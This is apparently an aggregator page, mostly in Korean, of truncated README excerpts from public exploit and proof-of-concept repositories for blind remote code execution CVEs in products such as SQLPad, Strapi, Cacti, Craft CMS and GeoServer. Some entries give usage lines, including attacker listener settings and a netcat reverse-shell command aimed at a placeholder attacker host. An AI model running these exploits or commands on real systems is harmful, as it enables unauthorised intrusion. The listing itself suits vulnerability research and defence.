sqlpad-rce-exploit-CVE-2022-0944

SQLPad RCE 익스플로잇 이 저장소는 SQLPad의 CVE-2022-0944에 대한 익스플로잇 스크립트를 포함하고 있습니다. 이 취약점은 /api/test-connection 엔드포인트를 통해 원격 코드 실행RCE을 허용합니다. 개요 제공된 스크립트exploit.py는 SQLPad의 RCE 취약점을 익스플로잇하는 방법을 보여줍니다. 이 스크립트는 취약한 엔드포인트에 페이로드를 전송하여 대상 서버에서 명령을 실행합니다. 기능 블라인드 RCE : 직접적인 응답을 받지 않고 대상 서버에서 명령을 실행합니다. Netcat 리스너...

Collabfiltrator

Collabfiltrator Burp Collaborator를 통해 DNS로 블라인드 원격 코드 실행RCE 및 SQL 인젝션 출력을 외부 유출합니다. 버전: 4.0.1 작성자: Adam Logue Jared McLaren Frank Scarpella Ryan Griffin AI 작성자: Claude 3.5 Sonnet ChatGPT 4o 요구 사항: Burp Suite Professional 2024.12.1 이상 지원: 소스에서 빌드하기 Burp Suite Professional에 설치하기 원본 블로그 게시물 지원되는 RCE...

CVE-2020-8163

CVE-2020-8163 CVE-2020-8163의 환경 및 익스플로잇: Rails 5.0.1 및 4.2.11.2에서 사용자가 제공한 로컬 이름을 통한 블라인드 원격 코드 실행 환경 구성 1. 포트 4000을 8001에 매핑하여 도커 컨테이너 생성 sudo docker run --rm -it -p 8001:4000 ruby:2.3 bash 2. 컨테이너 내부에서 일부 도구 업데이트 및 설치 apt update && apt install unzip libz-dev libiconv-hook1 libiconv-hook-dev...

strapi_cms_3.0.0-beta.17.7

Strapi CMS CVE-2019-18818 및 19606 Strapi CMS 버전 3.0.0-beta.17.7 이하에서 리버스 셸을 획득하기 위한 블라인드 원격 코드 실행 시작하기 프로그램 실행 Python3 사용 python3 strapiexp.py -t http://strapi.hack/ -e [email protected] -p newpassword -lhost 127.0.0.1 -lport 9001 도움말 도움말 프롬프트 python3 strapiexp.py -h 면책 조항 이 저장소에 제공된 모든 코드는...

CVE-2018-8097-PoC

CVE-2018-8097 CVE-2018-8097용 PoC입니다. 이 스크립트는 CVE-2018-8097을 악용하며, 시간 기반 블라인드 RCE 방식으로 파일과 내용을 검색할 수 있습니다. 사용법 python cve-2018-8097.py -h -u URL -c COMMAND -t TIME -id OBJECTID -d FILEPATH options: -h, --help show this help message and exit -u, --url URL Target base URL e.g., http://127.0.0.1:5000...

CVE-2026-25643

Frigate NVR ≤ 0.16.3 블라인드 RCE 익스플로잇 CVE-2026-25643 PoC 📜 설명 이 Python 익스플로잇은 Frigate NVR 0.16.3 이하 버전의 중요한 구성 조작 취약점인증된 경로 및 인증되지 않은 경로 모두을 대상으로 합니다. 악성 go2rtc 스트림과 가짜 카메라 항목을 주입하여 서비스 재시작 중 Frigate 프로세스로 임의 명령 실행을 트리거합니다 — 리버스 셸이나 출력 캡처가 필요하지 않습니다. 🛠️ 설치 !NOTE 프로젝트 종속성을 위한 깨끗하고 격리된 환경을 보장하려면...

CVE-2022-46169

CVE-2022-46169 Cacti 블라인드 원격 코드 실행 사전 인증 면책 조항 이는 교육 목적으로만 제공됩니다. 귀하의 행동에 대해 책임을 지지 않습니다. 자신의 판단 하에 사용하세요. 설명 이 스크립트는 이 취약점을 악용하는 데 필요한 변수들을 무차별 대입합니다. 이 익스플로잇에는 다음 3가지 변수가 필요합니다: 화이트리스트에 등록된 IP 주소 올바른 hostid 매개변수 올바른 localdataids 매개변수 remoteagent.php 파일은 IP 화이트리스트로 보호됩니다. X-Forwarded-IP 헤더에서 IP...

CVE-2024-44623

CVE-2024-44623 SPX-GC 1.3.0v 및 이하 버전에서 childprocess 모듈의 exec 함수에 사용자 제어 입력값이 아무런 검증 없이 전달되어, 인증되지 않은 블라인드 원격 코드 실행Blind RCE이 발생합니다. 취약점 /routes/routes-api.js에서 file 파라미터로부터 받은 사용자 입력값이 childprocess의 exec 함수로 전달되어 인증되지 않은 블라인드 RCE가 발생합니다. Blind RCE 웹 애플리케이션에서의 블라인드 원격 코드 실행Blind RCE은 공격자가 즉각적인 피드백...

CVE-2017-1000486

CVE-2017-1000486 PrimeFaces 5.x용 원격 코드 실행 익스플로잇 - EL 인젝션 CVE-2017-1000486 이는 기본적으로 Mogwailabs가 만든 동일한 익스플로잇이지만, 인터넷에 접근할 수 없거나 방화벽 아웃바운드 트래픽이 차단된 폐쇄 환경에서 작동하도록 수정되었습니다. HTTP 응답 헤더에 결과를 제공하므로, 이전 익스플로잇으로 블라인드 RCE를 시도하는 경우 더 이상 필요하지 않습니다. 사용법 python3 primefaces.py -t vulnapp.com id 정확한 엔드포인트를 위해...

CVE-2018-1133-Exploit

CVE-2018-1133-Exploit 이 저장소는 Moodle Evil Teacher 익스플로잇CVE-2018-1133을 위한 python 익스플로잇 스크립트를 포함합니다. 사용법 usage: Moodle Evil Teacher Exploit -h -u URL -l LOGIN -p PASSWORD -c COMMAND -P PROXY options: -h, --help show this help message and exit -u URL, --url URL Target URL -l LOGIN, --login LOGIN Logi...

CVE-2026-28695-craft-rce-bypass

CVE-2026-28695 패치 우회 — Craft CMS ≤ 5.9.8 인증된 RCE element-search CVSS 3.x : 8.8 HIGH 대략 — 확인 필요 CWE : CWE-502 안전하지 않은 객체 인스턴스화 + CWE-1336 SSTI 기원 기반 : CVE-2026-28695 create + Symfony Process를 통한 SSTI 수정 : 권고 수정 e31e508 create를 BaseObject로 제한 — 여기서 우회됨 영향 : CVE-2026-28695 수정이 적용된 Craft CMS ≤ 5.9.8...

CVE-2026-28695

CVE-2026-28695 패치 우회 - Craft CMS 블라인드 RCE Craft CMS의 인증된 블라인드 원격 코드 실행. CVE-2026-28695 수정커밋 e31e508에서 추가된 create - BaseObject 제한을 우회합니다. 사용법 python3 exp.py -t http://target.htb -u user -p 'password' -c 'busybox nc ATTACKERIP ATTACKERPORT -e /bin/sh' 면책 조항 이 스크립트는 교육 목적으로만 사용됩니다. 작성자는 이 익스플로잇으로 인해...

poc-CVE-2026-23489

POC CVE-2026-23489 CVE-2026-23489 GLPI "Fields" 플러그인 --cookie-value COOKIEVALUE GLPI session cookie value --php PHP Raw PHP to execute on the server end statements with ';', Dropdowns...

CVE-2025-59528-POC

CVE-2025-59528 - FlowiseAI CustomMCP 원격 코드 실행 CVSS 10.0 치명적 | 블라인드 RCE | FlowiseAI Flowise = 2.2.7-patch.1 및 = 2.2.7-patch.1, ;return 1;"...

CVE-2026-1731

CVE-2026-1731 블라인드 RCE PoC 영향을 받는 버전: Privileged Remote Access : = 24.3.4 Remote Support : = 25.3.1 자세한 내용은 attackerkb.com의 분석을 읽어보시길 권장합니다. 빌드 방법 이 PoC를 빌드하려면 다음 도구가 필요합니다: Git, rust 1. 내 저장소를 클론합니다 git clone https://github.com/jakubie07/CVE-2026-1731.git 2. 디렉토리로 이동하여 빌드합니다 cd CVE-2026-1731 car...

CVE-2026-23744-POC

설명 이 취약점은 MCPJam Inspector가 디버깅 및 개발용으로 설계된 내부 API 엔드포인트를 노출하기 때문에 존재합니다. 이러한 엔드포인트는 사용자 제어 입력을 수락하고 적절한 검증이나 삭제 없이 이를 시스템 수준 프로세스 실행에 직접 전달합니다. 취약한 엔드포인트/api/mcp/connect에 조작된 요청을 전송함으로써, 공격자는 serverConfig 객체를 제어하고 호스트에서 실행할 임의의 명령을 지정할 수 있습니다. 애플리케이션은 사용자 입력을 기반으로 프로세스를 생성하고 이를 유효한 MCP 서버로 취급하려고...

CVE-2024-36401

GeoServer 무반향 원격 코드 실행 취약점 CVE-2024-36401 옵션: -h, --help 이 도움말 메시지를 표시하고 종료합니다 -u URL, --url URL 대상 URL; 예시: python .py -u http://ip:port -f FILE, --file FILE 대상 URL 목록; 예시: python .py -f urllist.txt -c CMD, --cmd CMD 대상 명령어; 예시: python .py -u http://ip:port -c whoami...

SpringBreakPoC

SpringBreakPoC 최근 공개된 SpringBreak 취약점CVE-2017-8046에 대해 여러 엔드포인트를 테스트할 도구가 필요했지만, 마땅한 도구를 찾지 못해 이걸 급조했습니다. 사용법 \ \ / /| \ \ \ | \ /\ | /| || | | \ || /| | || /| || \ / / | | || | | | | \ | || | | / / | || | || / / | | | | | \ \ || | | | | | || || | \ | | | | \ || | \ | \ \ | \ | | || \ \ /\ || |...

CVE-2022-25765

CVE-2022-25765 CVE-2022-25765에 대한 Blind RCE PoC HTB - Precious Machine에서 테스트 완료...

CVE-2025-49619: Improper Neutralization of Special Elements Used in a Template Engine

Skyvern through 0.1.85 is vulnerable to server-side template injection SSTI in the Prompt field of workflow blocks such as the Navigation v2 Block. Improper sanitization of Jinja2 template input allows authenticated users to inject crafted expressions that are evaluated on the server, leading to...